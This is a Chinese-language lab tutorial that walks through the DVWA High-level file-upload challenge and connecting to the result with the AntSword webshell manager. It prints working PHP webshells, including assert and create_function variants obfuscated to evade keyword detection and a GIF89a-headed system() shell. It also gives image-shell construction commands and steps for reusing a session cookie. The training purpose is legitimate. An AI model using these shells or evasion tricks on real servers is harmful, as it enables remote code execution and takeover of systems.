新手必看:用DVWA和中国蚁剑打造你的第一个Web渗透测试环境(High级别通关指南)
从零到一:在DVWA高安全级别下构建你的首个Web渗透实战沙盒
很多刚接触网络安全的朋友,都渴望能有一个安全、可控的环境来亲手实践那些书本上的概念。DVWA(Damn Vulnerable Web Application)无疑是最佳选择之一,它就像一个精心设计的“漏洞游乐场”。但当你兴致勃勃地设置到“High”级别时,可能会发现事情变得棘手起来——上传的文件被严格审查,连接工具频频失败。这恰恰是学习的黄金时刻。本文将带你完整地走一遍流程,不仅告诉你“怎么做”,更会解释“为什么这么做”,让你在DVWA的High级别下,亲手搭建起一个可用的Web渗透测试环境,并成功建立连接。整个过程,我们将聚焦于DVWA、中国蚁剑、文件上传、Cookie处理这些核心环节,目标是让你不仅通关,更能理解其背后的安全机制。
1. 环境准备与核心概念理解
在动手之前,我们需要先理清几个关键点。DVWA的High级别并非为了彻底阻止攻击,而是为了模拟现实中更严格的安全防护。它引入了更强的输入验证、会话管理和文件检查机制。这意味着,我们不能再使用过于简单的“一句话木马”,上传过程也需要更精巧的构造。
首先,确保你的DVWA已经正确部署,并且安全级别已设置为“High”。你可以在DVWA首页左侧的“DVWA Security”模块中进行设置。这个级别的变化,主要体现在后端代码对用户输入的过滤和检查逻辑上。
注意:本文所有操作均在本地或授权测试环境中进行,严禁对未授权的任何系统进行测试。网络安全技术的价值在于防御,而非攻击。
为了突破High级别的限制,我们需要一个能够绕过基础检查的WebShell。传统的<?php @eval($_POST['cmd']);?> 在High级别下很可能被检测或过滤。一个更隐蔽的思路是,利用PHP的复杂语法或函数来构造执行点。
例如,我们可以使用assert函数配合字符串拼接:
<?php
$code = $_REQUEST['pass'];
array_map("ass"."ert", explode("|", $code));
?>
这段代码将接收到的pass参数,按|分割后,动态调用assert函数执行。通过字符串拼接"ass"."ert",可以在一定程度上绕过简单的关键字检测。
另一种思路是利用create_function:
<?php
$func = create_function('', $_REQUEST['cmd']);
$func();
?>
理解这些变种的目的,是为了应对WAF(Web应用防火墙)或简单的代码扫描。在实际的DVWA High级别环境中,我们需要根据靶场的具体过滤规则进行尝试和调整。
2. 文件上传漏洞的迂回策略
DVWA的High级别对文件上传进行了多重加固:检查文件扩展名、MIME类型,甚至可能进行文件内容扫描。直接上传一个.php文件几乎不可能成功。这时,“图片马”就成了一个经典的绕过思路。
其原理在于,将WebShell代码嵌入到一个正常的图片文件中。服务器在检查时,看到的是合法的图片文件头(如JPEG的FF D8 FF E0),从而放行。但当我们通过Web访问这个文件时,如果服务器配置不当(例如,未正确处理解析优先级),或者我们能够利用其他漏洞(如文件包含漏洞)来包含这个图片,其中的PHP代码依然可能被执行。
制作图片马的步骤:
- 准备素材:一个正常的JPG图片(例如
normal.jpg)和你精心构造的PHP WebShell文件(例如shell.php)。 - 合成文件:在Windows命令提示符下,可以使用
copy命令进行二进制合并。
这个命令将copy /b normal.jpg + shell.php webshell.jpgshell.php的二进制内容追加到normal.jpg的末尾,生成一个新的webshell.jpg文件。图片查看器依然能正常显示图片前半部分,但文件末尾包含了我们的恶意代码。 - 上传测试:在DVWA的“File Upload”模块,尝试上传
webshell.jpg。在High级别下,你可能会发现它依然被拒绝,因为DVWA可能会检查文件内容的前几个字节(魔数)以确保它真的是图片。
更高级的绕过:GIF89a文件头
对于PHP环境,一个历史悠久的技巧是在WebShell文件的开头添加GIF89a字符。这会使文件在检查时被识别为GIF图片。我们可以手动创建一个这样的文件:
GIF89a
<?php
// 你的WebShell代码,例如:
if(isset($_GET['c'])) {
system($_GET['c']);
}
?>
将上述内容保存为shell.gif.php(注意扩展名)。在High级别下,DVWA可能只允许.jpg或.png,因此扩展名需要匹配。但更重要的是文件内容检查。添加GIF89a文件头,是绕过某些基于文件头识别的黑名单策略的有效方法。
3. 中国蚁剑的深度配置与连接建立
成功上传文件只是第一步。要远程控制服务器,我们需要一个连接管理工具,中国蚁剑(AntSword)是一个功能强大的开源选择。它的核心是一个WebShell管理平台,通过加载器(一个Node.js环境)来运行。
基础连接失败的原因分析
很多新手在这一步卡住,直接填写URL和连接密码后,返回“连接失败”或空白。在DVWA High级别下,这通常是由于以下原因:
- 会话(Session)验证:High级别的DVWA页面,很可能要求用户处于已登录状态。我们的WebShell请求是直接从蚁剑发出的,没有携带浏览器中那个代表已登录身份的Cookie,因此被DVWA应用判定为未授权访问,请求被重定向到登录页或直接拒绝,自然无法执行代码。
- 路径问题:上传文件的绝对路径与Web可访问的URL路径不对应。你需要确认文件上传后存储在服务器的哪个目录(如
/var/www/dvwa/hackable/uploads/),以及通过Web访问它的URL是什么(如http://your-ip/dvwa/hackable/uploads/webshell.jpg)。 - WebShell代码本身未执行:如果服务器严格将
.jpg文件当作静态图片处理,那么其中的PHP代码永远不会被解析。这时,我们需要寻找其他触发方式,比如结合DVWA的“File Inclusion”(文件包含)漏洞。但本文主要聚焦于上传后的直接连接。
关键步骤:添加Cookie实现身份认证
这是突破High级别连接的核心。你需要让蚁剑的请求“伪装”成一个已登录的浏览器请求。
-
获取有效Cookie:
- 使用浏览器(如Chrome)正常登录DVWA,并将安全级别设为High。
- 按
F12打开开发者工具,切换到“Network”(网络)标签页。 - 刷新DVWA页面,在网络请求列表中,点击任意一个对DVWA站点的请求(如
index.php)。 - 在右侧的“Headers”(标头)选项卡中,向下找到“Request Headers”(请求头)部分,其中有一行是
Cookie: ...。将其完整地复制下来。它通常包含PHPSESSID和security两个关键值。
-
在蚁剑中配置请求头:
- 在蚁剑中添加数据,正确填写URL和连接密码(即你WebShell代码中定义的参数名,如
cmd或pass)。 - 不要急于测试连接。先点击“高级设置”或类似按钮,找到“请求头”(Headers)配置部分。
- 添加一个自定义请求头,名称填
Cookie,值粘贴你刚才复制的整个Cookie字符串。
- 在蚁剑中添加数据,正确填写URL和连接密码(即你WebShell代码中定义的参数名,如
下面是一个蚁剑连接配置的示意表格,展示了关键字段的填写逻辑:
| 配置项 | 示例值 | 说明与注意事项 |
|---|---|---|
| URL地址 | http://192.168.1.100/dvwa/hackable/uploads/shell.gif.php | 必须是Web可访问的地址,指向你上传的文件。 |
| 连接密码 | c | 对应WebShell代码中接收参数的变量名,如$_GET['c']。 |
| 编码器 | default (或 base64) | 初期可先用默认。若通信不稳定,可尝试切换编码器以绕过一些过滤。 |
| 自定义请求头 | Cookie: PHPSESSID=abc123def456; security=high | High级别关键步骤。使请求携带登录态,绕过身份验证。 |
| User-Agent | (可选修改) | 可保持默认,或伪装成常见浏览器UA,减少被日志分析注意的风险。 |
配置完成后保存,再尝试连接。如果WebShell代码有效且路径正确,此时应该能成功连接,并看到服务器的基本信息,如当前路径、操作系统等。
4. 实战演练:一个完整的High级别通关流程
让我们将上述知识串联起来,进行一次完整的实战推演。假设我们的目标是在DVWA High级别下,上传一个WebShell并连接。
步骤一:环境确认与WebShell准备
- 访问
http://your-ip/dvwa/,登录(默认admin/password),在“DVWA Security”中确认级别为“High”。 - 准备WebShell代码。考虑到High级别的过滤,我们采用
create_function变体,并加上GIF89a头,保存为shell.php:
这里连接密码是GIF89a <?php @$func = create_function('', $_REQUEST['ant']); @$func(); ?>ant。
步骤二:制作与上传图片马
- 找一个小的JPG图片
test.jpg。 - 在
shell.php所在目录打开命令行,执行合并:copy /b test.jpg + shell.php ant.jpg - 进入DVWA的“File Upload”页面,上传
ant.jpg。观察返回结果。如果成功,页面会显示文件路径,例如.../hackable/uploads/ant.jpg。
步骤三:获取并配置蚁剑
- 从GitHub下载中国蚁剑加载器,并按照官方文档安装、启动。
- 在浏览器中,按前述方法获取当前DVWA(High级别)的Cookie。
- 在蚁剑中添加新数据:
- URL:
http://your-ip/dvwa/hackable/uploads/ant.jpg - 连接密码:
ant - 在“请求配置”或“高级设置”中,添加自定义Header:
Cookie: [你复制的完整Cookie值]
- URL:
- 保存后,右键点击该数据,选择“连接”。如果一切顺利,左侧目录树会展开,显示服务器文件系统。
步骤四:连接后常见问题排查
如果连接失败,可以按照以下思路排查:
- 检查Cookie是否有效:Cookie可能过期。重新登录DVWA(High级别),获取新的Cookie并更新到蚁剑配置中。
- 尝试直接访问URL:在浏览器中直接打开
http://your-ip/dvwa/hackable/uploads/ant.jpg。如果浏览器提示下载或显示乱码,说明服务器确实将其作为静态文件处理,PHP代码未执行。这可能意味着需要寻找文件包含等其他漏洞点来触发代码,或者尝试其他扩展名(如果规则允许)。 - 查看蚁剑日志:蚁剑连接时会有详细的请求和响应日志。检查返回的HTTP状态码和响应体。如果是
302重定向或返回登录页面HTML,那肯定是Cookie问题。如果是200但响应体为空或不是预期的WebShell输出,可能是WebShell代码本身被拦截或执行失败。 - 简化测试:为了排除干扰,可以暂时将DVWA安全级别调回“Low”,用最简单的WebShell测试上传和连接流程是否通畅。确认工具链没问题后,再切回“High”研究绕过方法。
这个过程看似繁琐,但每一步都对应着真实世界中的安全防护点:输入验证、身份认证、会话管理、文件类型校验。通过亲手实践和解决这些问题,你对Web应用安全攻防的理解会深刻得多。记住,工具的使用只是表象,理解其背后的HTTP协议、服务器行为和安全机制,才是从新手走向精通的关键。
更多推荐
所有评论(0)